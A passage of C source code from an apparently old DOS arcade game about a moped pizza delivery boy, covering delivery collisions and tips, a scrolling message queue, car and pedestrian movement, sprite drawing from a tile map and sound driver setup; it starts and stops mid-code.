// test if pizza has hit it taking into consideration direction
// house is facing
if (house_pos[hindex].type == 1 ) // west facing house
{
// do collision test for west facing
if (pizza_x_center>=house_pos[hindex].x+5 &&
pizza_x_center<=house_pos[hindex].x+17 &&
pizza_y_center>=house_pos[hindex].y+3 &&
pizza_y_center<=house_pos[hindex].y+20 )
{
// pizza boy made the delivery!
// kill pizza
pizzas[index].state = PIZZA_DEAD;
// increase number of orders filled
orders_filled++;
// take house off delivery list
house_pos[hindex].state = HOUSE_NO_ORDER;
// compute tip based on elapsed time
tip = 5*((float)house_pos[hindex].timer/(float)500);
boy_tips+=(int)tip;
// build up message depending on amount of time
if (house_pos[hindex].timer<100)
{
sprintf(buffer,"It took long enough!");
// send it
Insert_Message(buffer,1);
// play sound
Play_Sound(SOUND_TOO_LONG);
} // end if took too long
else
{
sprintf(buffer,"Thank you!");
// send it
Insert_Message(buffer,1);
if (rand()%2==1)
Play_Sound(SOUND_THANK_YOU_B );
else
Play_Sound(SOUND_THANK_YOU_G );
} // end else good service
} // end if we have a winner
} // end if house facing west
else
{
// house is facing east
// do collision test for east facing
if (pizza_x_center>=house_pos[hindex].x-1 &&
pizza_x_center<=house_pos[hindex].x+11 &&
pizza_y_center>=house_pos[hindex].y+3 &&
pizza_y_center<=house_pos[hindex].y+19 )
{
// pizza boy made the delivery!
// kill pizza
pizzas[index].state = PIZZA_DEAD;
// increase number of orders filled
orders_filled++;
// take house off delivery list
house_pos[hindex].state = HOUSE_NO_ORDER;
// compute tip based on elapsed time
tip = 5*((float)house_pos[hindex].timer/(float)500);
boy_tips+=(int)tip;
// build up message depending on amount of time
if (house_pos[hindex].timer<100)
{
sprintf(buffer,"It took long enough!");
// send it with urgency
Insert_Message(buffer,0);
Play_Sound(SOUND_TOO_LONG );
} // end if took too long
else
{
sprintf(buffer,"Thank you!");
// send it with urgency
Insert_Message(buffer,0);
if (rand()%2==1)
Play_Sound(SOUND_THANK_YOU_B );
else
Play_Sound(SOUND_THANK_YOU_G );
} // end else good service
} // end if we have a winner
} // end else house facing east
} // end if house has ordered
} // end for hindex
// test if it's hit the edge of the screen or a wall
if ( (pizza_x >= 320-8) || (pizza_x <= 0) ||
(pizza_y > (176-8)) || (pizza_y <= 0) )
{
// kill pizza
pizzas[index].state = PIZZA_DEAD;
} // end if off edge of screen
// test if pizza has timed out
if (++pizzas[index].counter_1>=pizzas[index].threshold_1)
{
// kill pizza
pizzas[index].state = PIZZA_DEAD;
} // end if timed out
} // end if pizza alive
} // end for index
} // end Move_Pizzas
/////////////////////////////////////////////////////////////////////////////
void Start_Pizza(int x,
int y,
int xv,
int yv,
int direction)
{
// this function scans through the pizzas array and tries to find one that
// isn't being used. this function could be more efficient.
int index;
// scan for a useable pizza
for (index=0; index<NUM_PIZZAS; index++)
{
// is this pizza free?
if (pizzas[index].state == PIZZA_DEAD)
{
// set up fields
pizzas[index].state = PIZZA_ALIVE;
pizzas[index].x = x;
pizzas[index].y = y;
pizzas[index].xv = xv;
pizzas[index].yv = yv;
pizzas[index].counter_1 = 0;
pizzas[index].threshold_1 = 25;
// make sure proper animation cell is selected
pizzas[index].object.curr_frame = 0;
// extract proper parameters
pizzas[index].object.x = x;
pizzas[index].object.y = y;
// set sprite size for engine
SET_SPRITE_SIZE(6,6);
Behind_Sprite_DB((sprite_ptr)&pizzas[index].object);
break; // exit loop
} // end if found a good one
} // end for index
} // end Start_Pizza
/////////////////////////////////////////////////////////////////////////////
void Init_Pizzas(void)
{
// this function just makes sure all the "state" fields of the pizzas are
// dead so that we don't get any strays on start up. Remember never assume
// that variables are zeroed on instantiation!
int index;
for (index=0; index<NUM_PIZZAS; index++)
pizzas[index].state = PIZZA_DEAD;
} // Init_Pizzas
//////////////////////////////////////////////////////////////////////////////
void Init_Messages(void)
{
// this function initializes the messages data structure
int index; // loop index
for (index=0; index<NUM_MESSAGES; index++)
{
strcpy(messages[index].string,"");
// set state to dead
messages[index].state = MESS_DEAD;
} // end for index
} // end Init_Messages
///////////////////////////////////////////////////////////////////////////////
int Insert_Message(char *string,int preempt)
{
// this function inserts a message into the message queue, but doesn't guarantee
// that it will be played right now unless the preempt flag is true
// test for preempt
if (preempt)
{
// force feed message into display
message_index=0;
message_done=0;
strcpy(message_string,"...........");
strcat(message_string,string);
// compute length before adding on the end dots
message_length = strlen(message_string);
strcat(message_string,"...........");
return(1);
} // end if preempt
// advance message index
if (++mess_head >= NUM_MESSAGES)
mess_head=0;
// insert message into array
strcpy(messages[mess_head].string,string);
// set state of message to waiting
messages[mess_head].state = MESS_WAIT;
return(1);
} // end Insert_Message
///////////////////////////////////////////////////////////////////////////////
void Start_Message(int index)
{
// this message conditions the new message to be played and resets all the
// appropriate variables
message_index=0;
message_done=0;
strcpy(message_string,"...........");
strcat(message_string,messages[index].string);
// compute length before adding on the end dots
message_length = strlen(message_string);
strcat(message_string,"...........");
} // end Start_Message
/////////////////////////////////////////////////////////////////////////////
void Display_Message(void)
{
static int counter=0, // used as a time reference to slow scrolling of mess.
entered=0; // standard first time entered flag
char buffer[128]; // working buffer
// this is an autonomous function that is called every cycle to update
// the message center
if (!entered)
{
// set flag
entered = 1;
// do any initialization chores
} // end if first time
// test fi it's time to process
if (++counter>1)
{
// reset counter
counter=0;
// test if message is not done
if (!message_done)
{
// update display
// we need to copy the proper number of bytes from the message string to the
// buffer string
memcpy((char *)buffer,(char *)&message_string[message_index],11);
// set the null character
buffer[11] = 0;
Blit_String_DB(142,190,15,buffer,0);
// update index and test for completion of message
if (++message_index>message_length)
{
// send message to system that message is done
message_done=1;
} // end if message complete
} // end if message not done
} // end if it's time to process
} // end Display_Message
///////////////////////////////////////////////////////////////////////////////
void Send_Message(void)
{
// this function will be called every cycle and will try to send the message
// display another if it can
int index; // loop variable
// first test if current message in display is complete
if (message_done)
{
// is there another message
while(mess_head!=mess_tail)
{
// advance tail
if (++mess_tail>=NUM_MESSAGES)
mess_tail=0;
// test if this message is a good one
if (messages[mess_tail].state!=MESS_DEAD)
{
// start the message
Start_Message(mess_tail);
// set state of message to dead since it is now being played
messages[mess_tail].state = MESS_DEAD;
// blaze!!!
return;
} // end if we found a live one
} // end while there is a message waiting
} // end if message_done
} // end Send_Message
/////////////////////////////////////////////////////////////////////////////
void Start_Splat(int x,int y,int speed,int color)
{
// this function stars a generic Splat
int index;
SET_SPRITE_SIZE(10,10);
// scan for a useable Splat
for (index=0; index<NUM_SPLATS; index++)
{
if (splats[index].state == SPLAT_DEAD)
{
// set up fields
splats[index].state = SPLAT_ALIVE;
splats[index].x = x;
splats[index].y = y;
splats[index].curr_frame = 0+color;
splats[index].anim_speed = speed;
splats[index].anim_clock = 0;
splats[index].motion_speed = 0;
// scan background to be safe
Behind_Sprite_DB((sprite_ptr)&splats[index]);
break; // exit loop
} // end if found a good one
} // end for index
} // end Start_Splat
/////////////////////////////////////////////////////////////////////////////
void Behind_Splats(void)
{
// this function scans under the Splats
int index;
SET_SPRITE_SIZE(10,10);
// scan for a running Splats
for (index=0; index<NUM_SPLATS; index++)
{
if (splats[index].state == SPLAT_ALIVE)
{
Behind_Sprite_DB((sprite_ptr)&splats[index]);
} // end if found a good one
} // end for index
} // end Behind_Splats
/////////////////////////////////////////////////////////////////////////////
void Erase_Splats(void)
{
// this function erases all the current Splats
int index;
SET_SPRITE_SIZE(10,10);
// scan for a useable Splat
for (index=0; index<NUM_SPLATS; index++)
{
if (splats[index].state == SPLAT_ALIVE)
{
Erase_Sprite_DB((sprite_ptr)&splats[index]);
} // end if found a good one
} // end for index
} // end Erase_Splats
/////////////////////////////////////////////////////////////////////////////
void Draw_Splats(void)
{
// this function draws the Splat
int index;
SET_SPRITE_SIZE(10,10);
// scan for a useable Splat
for (index=0; index<NUM_SPLATS; index++)
{
// make sure this Splat is alive
if (splats[index].state == SPLAT_ALIVE)
{
Draw_Sprite_DB((sprite_ptr)&splats[index]);
} // end if found a good one
} // end for index
} // end Draw_Splats
/////////////////////////////////////////////////////////////////////////////
void Animate_Splats(void)
{
// this function steps the Splat thru the frames of animation
int index;
// scan for a useable Splat
for (index=0; index<NUM_SPLATS; index++)
{
// test if Splat is alive
if (splats[index].state == SPLAT_ALIVE)
{
// test if it's time to change frames
if (++splats[index].anim_clock == splats[index].anim_speed)
{
// is the Splat over?
++splats[index].curr_frame;
if (++splats[index].motion_speed == 4)
splats[index].state = SPLAT_DEAD;
// reset animation clock for future
splats[index].anim_clock = 0;
} // end if time ti change frames
} // end if found a good one
} // end for index
} // end Animate_Splats
//////////////////////////////////////////////////////////////////////////////
void Init_Splats(void)
{
// reset all Splats
int index;
for (index=0; index<NUM_SPLATS; index++)
splats[index].state = SPLAT_DEAD;
} // Init_Splats
//////////////////////////////////////////////////////////////////////////////
void Erase_Cars(void)
{
// this function indexes through all the Cars and if they are active
// erases them by replacing the background color that was under them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(12,12);
for (index=0; index<NUM_CARS; index++)
{
// is this Car alive
if (cars[index].state != CAR_DEAD)
{
// copy position to sprite structure
cars[index].object.x = cars[index].x;
cars[index].object.y = cars[index].y;
// erase the sprite
Erase_Sprite_DB((sprite_ptr)&cars[index].object);
} // end if alive
} // end for index
} // end Erase_Cars
/////////////////////////////////////////////////////////////////////////////
void Draw_Cars(void)
{
// this function indexes through all the Cars and if they are active
// draws them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(12,12);
for (index=0; index<NUM_CARS; index++)
{
// is this Car alive
if (cars[index].state != CAR_DEAD)
{
// copy position to sprite structure
cars[index].object.x = cars[index].x;
cars[index].object.y = cars[index].y;
// erase the sprite
Draw_Sprite_DB((sprite_ptr)&cars[index].object);
} // end if alive
} // end for index
} // end Draw_Cars
/////////////////////////////////////////////////////////////////////////////
void Behind_Cars(void)
{
// this function indexes through all the Cars and if they are active
// scan under them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(12,12);
for (index=0; index<NUM_CARS; index++)
{
// is this Car alive
if (cars[index].state != CAR_DEAD)
{
// copy position to sprite structure
cars[index].object.x = cars[index].x;
cars[index].object.y = cars[index].y;
// erase the sprite
Behind_Sprite_DB((sprite_ptr)&cars[index].object);
} // end if alive
} // end for index
} // end Behind_Cars
/////////////////////////////////////////////////////////////////////////////
void Init_Cars(void)
{
// this function sets the state of all Cars to dead
int index;
for (index=0; index<NUM_CARS; index++)
{
cars[index].state = CAR_DEAD;
cars[index].object.curr_frame = 0;
cars[index].object.x = 0;
cars[index].object.y = 0;
} // end for
} // end Init_Cars
//////////////////////////////////////////////////////////////////////////////
void Move_Cars(void)
{
// this function moves the Cars
int index, // loop var
cx,cy, // used for quick variable access i.e. aliasing
cell_x,cell_y, // position of Car in cell world
cell_id, // id of cell bitmap
tx,ty, // used to hold position of test object
new_state = 0, // the next state
state_change = 0;// has a state change occured
// traverse list and move all of the live ones
for (index=0; index<NUM_CARS; index++)
{
// test if Car is alive
if (cars[index].state!=CAR_DEAD)
{
// select animation and motion based on direction if it's time to
// process object
if (++cars[index].counter_1==cars[index].threshold_1)
{
// reset state change variable
state_change=0;
// first reset animation counter
cars[index].counter_1=0;
// which state is the car in ?
switch(cars[index].state)
{
case CAR_STARTING:
{
// move the car
cars[index].x+=cars[index].curr_xv;
cars[index].y+=cars[index].curr_yv;
// which way are we accelerating the car
switch(cars[index].direction)
{
case CAR_NORTH:
{
// press the pedal until desired speed
if (--cars[index].curr_yv <= cars[index].max_yv)
cars[index].curr_yv = cars[index].max_yv;
// test if we are done
if (++cars[index].counter_3 >= cars[index].threshold_3)
{
// now we are driving
state_change = 1;
new_state = CAR_DRIVING;
} // end if reached max speed
} break;
case CAR_SOUTH:
{
// press the pedal until desired speed
if (++cars[index].curr_yv >= cars[index].max_yv)
cars[index].curr_yv = cars[index].max_yv;
if (++cars[index].counter_3 >= cars[index].threshold_3)
{
// now we are driving
state_change = 1;
new_state = CAR_DRIVING;
} // end if reached max speed
} break;
case CAR_WEST:
{
// not implemented currently
} break;
case CAR_EAST:
{
// not implemented currently
} break;
default:break;
} // end switch direction
} break;
case CAR_DRIVING:
{
// test if we should play sound
if (rand()%500==1)
Play_Sound(SOUND_CAR_SOUND);
if (rand()%500==2)
Play_Sound(SOUND_CAR_HORN);
// move the car
cars[index].x+=cars[index].curr_xv;
cars[index].y+=cars[index].curr_yv;
// test for a stop sign
// which way is the car going
switch(cars[index].direction)
{
case CAR_NORTH:
{
// compute bitmap in front of car
cell_x = (cars[index].x+6) >> 4;
cell_y = (cars[index].y+10) >> 4;
// get bitmap id
cell_id = city_1[cell_y][cell_x];
// is this a stop sign
if (cell_id == STOP_NORTH_ID)
{
state_change = 1;
new_state = CAR_SLOWING;
} // end if hit a stop sigh
} break;
case CAR_SOUTH:
{
// compute bitmap in front of car
cell_x = (cars[index].x+6) >> 4;
cell_y = (cars[index].y+0) >> 4;
// get bitmap id
cell_id = city_1[cell_y][cell_x];
// is this a stop sign
if (cell_id == STOP_SOUTH_ID)
{
state_change = 1;
new_state = CAR_SLOWING;
} // end if hit a stop sigh
} break;
case CAR_WEST:
{
// not implemented currently
} break;
case CAR_EAST:
{
// not implemented currently
} break;
default:break;
} // end switch direction
} break;
case CAR_SLOWING:
{
// continue hitting breaks
// which way is the car going
switch(cars[index].direction)
{
case CAR_NORTH:
{
// enage breaks
if (++cars[index].curr_yv>=0)
{
state_change=1;
new_state = CAR_STOPPED;
} // end if stopped
} break;
case CAR_SOUTH:
{
// enage breaks
if (--cars[index].curr_yv<=0)
{
state_change=1;
new_state = CAR_STOPPED;
} // end if stopped
} break;
case CAR_WEST:
{
// not implemented currently
} break;
case CAR_EAST:
{
// not implemented currently
} break;
default:break;
} // end switch direction
} break;
case CAR_STOPPED:
{
// have we looked both ways?
if (++cars[index].counter_2 > cars[index].threshold_2)
{
// start car back up
state_change = 1;
new_state = CAR_STARTING;
} // end if sat for long enough
} break;
default:break;
} // end switch
// test for a state change
if (state_change)
{
// what is the new state
switch(new_state)
{
case CAR_STARTING:
{
cars[index].state = CAR_STARTING;
cars[index].counter_3 = 0;
cars[index].threshold_3 = 8;
// play the sound
Play_Sound(SOUND_CAR_START);
} break;
case CAR_DRIVING:
{
cars[index].state = CAR_DRIVING;
} break;
case CAR_SLOWING:
{
cars[index].state = CAR_SLOWING;
// play the sound
Play_Sound(SOUND_CAR_STOP);
} break;
case CAR_STOPPED:
{
cars[index].counter_2 = 0;
cars[index].threshold_2 = 20 + rand()%50;
cars[index].state = CAR_STOPPED;
} break;
default: break;
} // end switch new state
} // end if
} // end if time to process
// do collision detection with borders
if (cars[index].x > 320-12 || cars[index].x < 0 ||
cars[index].y > 163 || cars[index].y < 0 )
{
// kill ther car
cars[index].state = CAR_DEAD;
} // end if car off screen
else
{
// see if car has hit pizza boy
// only if car is moving fast
if (cars[index].state==CAR_DRIVING && boy.state==BOY_ALIVE)
{
// convert pizza boys position to integer space
tx = ((int)(boy.x >> FP_SHIFT))+6;
ty = ((int)(boy.y >> FP_SHIFT))+8;
// perform standard collision test
if (tx>cars[index].x+2 && tx<cars[index].x+9 &&
ty>cars[index].y+2 && ty<cars[index].y+9)
{
// one less moped
--boy_mopeds;
// start death sequence
Start_Boy_Death();
Play_Sound(SOUND_MOPED_HIT);
} // end if car hit moped
} // end if car could posscible hit pizza boy
} // end else test cars against moped
} // end if alive
} // end for index
} // end Move_Cars
//////////////////////////////////////////////////////////////////////////////
int Start_Car(void)
{
// this function is used to start a Car up
int index;
// look up tables for starting positions of Cars
static int x_south_start[] = {64,160,257}; // south bound
static int x_north_start[] = {84,180,277}; // north bound
static int y_west_start[] = {66}; // west bound
static int y_east_start[] = {84}; // east bound
// find a Car that isn't being used
for (index=0; index<NUM_CARS; index++)
{
// try and find a Car to start
if (cars[index].state == CAR_DEAD)
{
// select direction Car will be traveling in
switch(1+rand()%4)
{
case CAR_NORTH:
{
// set up fields
cars[index].x = x_north_start[rand()%3];
cars[index].y = 163;
cars[index].curr_xv = 0;
cars[index].curr_yv = -4;
cars[index].max_xv = 0;
cars[index].max_yv = -2-(rand()%2);
cars[index].direction = CAR_NORTH;
cars[index].object.curr_frame = 0+4*(rand()%5);
} break;
case CAR_SOUTH:
{
// set up fields
cars[index].x = x_south_start[rand()%3];
cars[index].y = 0;
cars[index].curr_xv = 0;
cars[index].curr_yv = 4;
cars[index].max_xv = 0;
cars[index].max_yv = 4+(rand()%2);
cars[index].direction = CAR_SOUTH;
cars[index].object.curr_frame = 1+(4*(rand()%5));
} break;
case CAR_WEST:
{
// set up fields
cars[index].x = 320-12;
cars[index].y = y_west_start[0];
cars[index].curr_xv = -4;
cars[index].curr_yv = 0;
cars[index].max_xv = -4-(rand()%2);
cars[index].max_yv = 0;
cars[index].direction = CAR_WEST;
cars[index].object.curr_frame = 2+(4*(rand()%5));
} break;
case CAR_EAST:
{
// set up fields
cars[index].x = 0;
cars[index].y = y_east_start[0];
cars[index].curr_xv = 4;
cars[index].curr_yv = 0;
cars[index].max_xv = 4+(rand()%2);
cars[index].max_yv = 0;
cars[index].direction = CAR_EAST;
cars[index].object.curr_frame = 3+(4*(rand()%5));
} break;
} // end switch
// set common fields (mostly counters)
cars[index].state = CAR_DRIVING;
cars[index].counter_1 = 0;
cars[index].threshold_1 = 1;
cars[index].counter_2 = 0;
cars[index].threshold_2 = 0;
cars[index].counter_3 = 0;
cars[index].threshold_3 = 0;
// color field isn't really being used at this time
cars[index].color = 0;
// set the sprite size properly
SET_SPRITE_SIZE(12,12);
// scan under the sprite
Behind_Sprite_DB((sprite_ptr)&cars[index].object);
// break out of loop
return(1);
} // end if dead
} // end for index
return(0);
} // end Start_Car
/////////////////////////////////////////////////////////////////////////////
void Erase_Humans(void)
{
// this function indexes through all the humans and if they are active
// erases them by replacing the background color that was under them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(6,10);
for (index=0; index<NUM_HUMANS; index++)
{
// is this human alive
if (humans[index].state != HUMAN_DEAD)
{
// erase the sprite
Erase_Sprite_DB((sprite_ptr)&humans[index]);
} // end if alive
} // end for index
} // end Erase_Humans
/////////////////////////////////////////////////////////////////////////////
void Draw_Humans(void)
{
// this function indexes through all the humans and if they are active
// draws them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(6,10);
for (index=0; index<NUM_HUMANS; index++)
{
// is this human alive
if (humans[index].state != HUMAN_DEAD)
{
// erase the sprite
Draw_Sprite_DB((sprite_ptr)&humans[index]);
} // end if alive
} // end for index
} // end Draw_Humans
/////////////////////////////////////////////////////////////////////////////
void Behind_Humans(void)
{
// this function indexes through all the humans and if they are active
// scan under them
int index;
// set sprite size for engine
SET_SPRITE_SIZE(6,10);
for (index=0; index<NUM_HUMANS; index++)
{
// is this human alive
if (humans[index].state != HUMAN_DEAD)
{
// erase the sprite
Behind_Sprite_DB((sprite_ptr)&humans[index]);
} // end if alive
} // end for index
} // end Behind_Humans
/////////////////////////////////////////////////////////////////////////////
void Init_Humans(void)
{
// this function sets the state of all humans to dead
int index;
for (index=0; index<NUM_HUMANS; index++)
humans[index].state = HUMAN_DEAD;
} // end Init_Humans
//////////////////////////////////////////////////////////////////////////////
void Move_Humans(void)
{
// this function moves the humans
int index, // loop var
index_2,
hx,hy, // used for quick variable access i.e. aliasing
cell_x,cell_y, // position of human in cell world
cell_id, // id of cell bitmap
tx,ty; // used for temporary position vars
// traverse list and move all of the live ones
for (index=0; index<NUM_HUMANS; index++)
{
// test if human is alive
if (humans[index].state!=HUMAN_DEAD)
{
// select animation and motion based on direction if it's time to
// process object
if (++humans[index].anim_clock==humans[index].anim_speed)
{
// first reset animation counter
humans[index].anim_clock=0;
// now move and animate human
switch(humans[index].state)
{
case HUMAN_NORTH:
{
// do translation
humans[index].y-=2;
// do animation
if (++humans[index].curr_frame>3)
humans[index].curr_frame = 0;
} break;
case HUMAN_SOUTH:
{
// do translation
humans[index].y+=2;
// do animation
if (++humans[index].curr_frame>7)
humans[index].curr_frame = 4;
} break;
case HUMAN_WEST:
{
// do translation
humans[index].x-=2;
// do animation
if (++humans[index].curr_frame>11)
humans[index].curr_frame = 8;
} break;
case HUMAN_EAST:
{
// do translation
humans[index].x+=2;
// do animation
if (++humans[index].curr_frame>15)
humans[index].curr_frame = 12;
} break;
default:break;
} // end switch direction
// do collision detection
// boundary detection
hx = humans[index].x;
hy = humans[index].y;
// test if human has walked into a house
switch(humans[index].state)
{
case HUMAN_NORTH:
{
// compute test point on sprite
cell_x = (hx + 3) >> 4;
cell_y = (hy + 10) >> 4;
} break;
case HUMAN_SOUTH:
{
// compute test point on sprite
cell_x = (hx + 3) >> 4;
cell_y = (hy) >> 4;
} break;
case HUMAN_WEST:
{
// compute test point on sprite
cell_x = (hx + 6) >> 4;
cell_y = (hy + 5) >> 4;
} break;
case HUMAN_EAST:
{
// compute test point on sprite
cell_x = (hx) >> 4;
cell_y = (hy + 5) >> 4;
} break;
default:break;
} // end switch
// extract cell from world
cell_id = city_1[cell_y][cell_x];
// test for house
if (cell_id==HOUSE_WEST_2_ID || cell_id==HOUSE_EAST_1_ID)
humans[index].state = HUMAN_DEAD;
// test against screen borders
else
if (hx>320-8 || hx<0 || hy>200-24-8 || hy<0)
{
// kill the human
humans[index].state = HUMAN_DEAD;
} // end if hit edge
else
{
// test human against cars
for (index_2=0; index_2<NUM_CARS; index_2++)
{
// test if the car is alive
if (cars[index_2].state!=CAR_DEAD && cars[index_2].state!=CAR_STOPPED)
{
// test if humans center is within bounding box of car
if ( (hx+3 > cars[index_2].x) && (hx+3 < cars[index_2].x+11) &&
(hy+5 > cars[index_2].y) && (hy+5 < cars[index_2].y+11))
{
// kill the human
humans[index].state = HUMAN_DEAD;
// start an splat
Start_Splat(hx,hy,2+rand()%2,humans[index].motion_clock);
// play the sound
Play_Sound(SOUND_HUMAN_HIT);
break;
} // end if human is hit
} // end if car active
} // end for index_2
// test human against moped
if (humans[index].state != HUMAN_DEAD && boy.throttle>128 &&
boy.state==BOY_ALIVE)
{
// extract position of boy (convert to int)
tx = (int)(boy.x >> FP_SHIFT);
ty = (int)(boy.y >> FP_SHIFT);
if ( (hx+3 > tx+2) && (hx+3 < tx+9) &&
(hy+5 > ty+2) && (hy+5 < ty+9))
{
// kill the human
humans[index].state = HUMAN_DEAD;
// one more dead ped
boy_xpeds++;
// start a splat
Start_Splat(hx,hy,2+rand()%2,humans[index].motion_clock);
Play_Sound(SOUND_HUMAN_HIT);
} // end if human is hit
} // end if test human against moped
} // end else test for human hit car
} // end if time to process
} // end if alive
} // end for index
} // end Move_Humans
//////////////////////////////////////////////////////////////////////////////
int Start_Human(void)
{
// this function is used to start a human up
int index;
// look up tables for starting positions of humans
static int x_start[] = {2,14,26,59,97,155,192,250,287};
static int y_start[] = {22,52,90,136,164};
// find a human that isn't being used
for (index=0; index<NUM_HUMANS; index++)
{
// try and find a human to start
if (humans[index].state == HUMAN_DEAD)
{
// select direction human will be traveling in
switch(1+rand()%4)
{
case HUMAN_NORTH:
{
// set up fields
humans[index].x = x_start[rand()%9];
humans[index].y = 170;
humans[index].state = HUMAN_NORTH;
humans[index].curr_frame = 0;
} break;
case HUMAN_SOUTH:
{
// set up fields
humans[index].x = x_start[rand()%9];
humans[index].y = 0;
humans[index].state = HUMAN_SOUTH;
humans[index].curr_frame = 4;
} break;
case HUMAN_WEST:
{
// set up fields
humans[index].x = 320-8;
humans[index].y = y_start[rand()%5];
humans[index].state = HUMAN_WEST;
humans[index].curr_frame = 8;
} break;
case HUMAN_EAST:
{
// set up fields
humans[index].x = 0;
humans[index].y = y_start[rand()%5];
humans[index].state = HUMAN_EAST;
humans[index].curr_frame = 12;
} break;
} // end switch
// set common fields
humans[index].anim_clock=0;
humans[index].anim_speed=1+rand()%3;
SET_SPRITE_SIZE(6,10);
// scan under the sprite
Behind_Sprite_DB((sprite_ptr)&humans[index]);
// break out of loop
return(1);
} // end if dead
} // end for index
return(0);
} // end Start_Human
/////////////////////////////////////////////////////////////////////////////
void Draw_Screen(char **screen)
{
// this function draws a screen by using the data in the universe array
// each element in the universe array is a 2-D matrix of cells, these
// cells are ASCII characters that represent the requested bitmap that
// should be placed in the cell location
char *curr_row;
int index,
index_x, // index vars
index_y,
cell_id; // the bitmap id
// translation table for screen database used to convert the ASCII
// characters into id numbers
static char ascii_to_id[128] =
// ! " # $ % & ' ( ) * + , - . /
{0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,32,0 ,
// 0 1 2 3 4 5 6 7 8 9 : ; < = > ?
33,34,35,36,37,38,39,40,45,46,0 ,0 ,0 ,0 ,0 ,0 ,
// @ A B C D E F G H I J K L M N O
0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,
// P Q R S T U V W X Y Z [ \ ] ^ _
0 ,0 ,0 ,9 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,4 ,0 ,5 ,6 ,0 ,
// ` a b c d e f g h i j k l m n o
0 ,47,48,41,42,43,44,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,
// p q r s t u v w x y z { | } ~ DEL
0 ,0 ,0 ,8 ,0 ,0 ,7 ,0 ,0 ,0 ,0 ,49,0 ,50,0 ,0 ,};
// clear out the double buffer
// Fill_Double_Buffer(0);
SET_SPRITE_SIZE(16,16);
// now draw the screen row by row
for (index_y = 0; index_y<CELL_ROWS; index_y++)
{
// get the current row for speed
curr_row = screen[index_y];
// do the row
for (index_x = 0; index_x<CELL_COLUMNS; index_x++)
{
// extract cell out of data structure and blit it onto screen
cell_id = ascii_to_id[curr_row[index_x]-32];
// write id number into data structure
curr_row[index_x] = cell_id;
// test which sprite should be used, either roads or building?
if (cell_id <32) // use roads
{
// compute proper sprite position
roads.x = index_x * sprite_width;
roads.y = index_y * sprite_height;
// set current frame to bitmap id
roads.curr_frame = cell_id;
// draw the bitmap
Draw_Sprite_DB((sprite_ptr)&roads);
} // end if road sprite
else
{
// use building sprite
// compute proper sprite position
builds.x = index_x * sprite_width;
builds.y = index_y * sprite_height;
// set current frame to bitmap id
cell_id-=32;
builds.curr_frame = cell_id;
// draw the bitmap
Draw_Sprite_DB((sprite_ptr)&builds);
// test if this is a house, if so insert house position into
// database and draw house number
if (cell_id==1 || cell_id==6)
{
// 1 is westward front door and 6 is eastward fron door
// insert house position into database
house_pos[curr_house].x = index_x*sprite_width;
house_pos[curr_house].y = index_y*sprite_height;
house_pos[curr_house].type = cell_id;
house_pos[curr_house].num = curr_house;
house_pos[curr_house].state=HOUSE_NO_ORDER;
house_pos[curr_house].timer=0;
// we are on the next house
curr_house++;
} // end if front of house
} // end else
} // end for index_x
} // end for index_y
// now that the entire city has been drawn, let's draw the house numbers
// on top of the houses
for (index=0; index<curr_house; index++)
{
// what kind of house is it?
if (house_pos[index].type == 1)
{
// extract position data and blit proper numerical bitmap
numbers.x = (house_pos[index].x)+16;
numbers.y = (house_pos[index].y);
numbers.curr_frame = house_pos[index].num;
Draw_Sprite_DB((sprite_ptr)&numbers);
} // end if westward pointing
else
{
// must be an eastward pointing house
// extract position data and blit proper numerical bitmap
numbers.x = (house_pos[index].x)-8;
numbers.y = (house_pos[index].y);
numbers.curr_frame = house_pos[index].num;
Draw_Sprite_DB((sprite_ptr)&numbers);
} // end else eastward
} // end for index
// remap the color registers for the house numbers so that they are white
Get_Palette_Register(ROOF_COLOR_REG,(RGB_color_ptr)&roof_color);
for (index=START_NUM_COLOR; index<=END_NUM_COLOR; index++)
{
Set_Palette_Register(index,(RGB_color_ptr)&roof_color);
} // end for index
// make curr_house reflect array bounds
curr_house--;
} // end Draw_Screen
/////////////////////////////////////////////////////////////////////////////
int Initialize_Sound_System(void)
{
// this function loads in the ct-voice.drv driver and the configuration file
// and sets up the sound driver appropriately
FILE *fp;
// test if driver is on disk
if ( (fp=fopen("ct-voice.drv","rb"))==NULL)
{
return(0);
} // end if not file
fclose(fp);
// load up sound configuration file
if ( (fp=fopen("simpizza.cfg","r"))==NULL )
{
printf("\nSound configuration file not found...");
printf("\nUsing default values of port 220h and interrupt 5.");
} // end if open sound configuration file
else
{
fscanf(fp,"%d %d",&sound_port, &sound_int);
printf("\nSetting sound system to port %d decimal with interrupt %d.",
sound_port, sound_int);
} // end else
// start up the whole sound system and load everything
Voc_Load_Driver();
Voc_Set_Port(sound_port);
Voc_Set_IRQ(sound_int);
Voc_Init_Driver();
Voc_Get_Version();
Voc_Set_Status_Addr((char far *)&ct_voice_status);
// load in sounds
sound_fx[SOUND_CAR_STOP ] = Voc_Load_Sound("SMCSTOP.VOC ",&sound_lengths[SOUND_CAR_STOP ]);
sound_fx[SOUND_CAR_START ] = Voc_Load_Sound("SMCSTART.VOC",&sound_lengths[SOUND_CAR_START ]);
sound_fx[SOUND_MOPED_HORN ] = Voc_Load_Sound("SMMHORN.VOC ",&sound_lengths[SOUND_MOPED_HORN ]);
sound_fx[SOUND_CAR_HORN ] = Voc_Load_Sound("SMCHORN.VOC ",&sound_lengths[SOUND_CAR_HORN ]);
sound_fx[SOUND_MOPED_HIT ] = Voc_Load_Sound("SMMHIT.VOC ",&sound_lengths[SOUND_MOPED_HIT ]);
sound_fx[SOUND_HUMAN_HIT ] = Voc_Load_Sound("SMHHIT.VOC ",&sound_lengths[SOUND_HUMAN_HIT ]);
sound_fx[SOUND_YO_VINNIE ] = Voc_Load_Sound("SMYO.VOC ",&sound_lengths[SOUND_YO_VINNIE ]);
sound_fx[SOUND_LOST_ORDER ] = Voc_Load_Sound("SMLOST.VOC ",&sound_lengths[SOUND_LOST_ORDER ]);
sound_fx[SOUND_THANK_YOU_B] = Voc_Load_Sound("SMTHANK1.VOC",&sound_lengths[SOUND_THANK_YOU_B]);
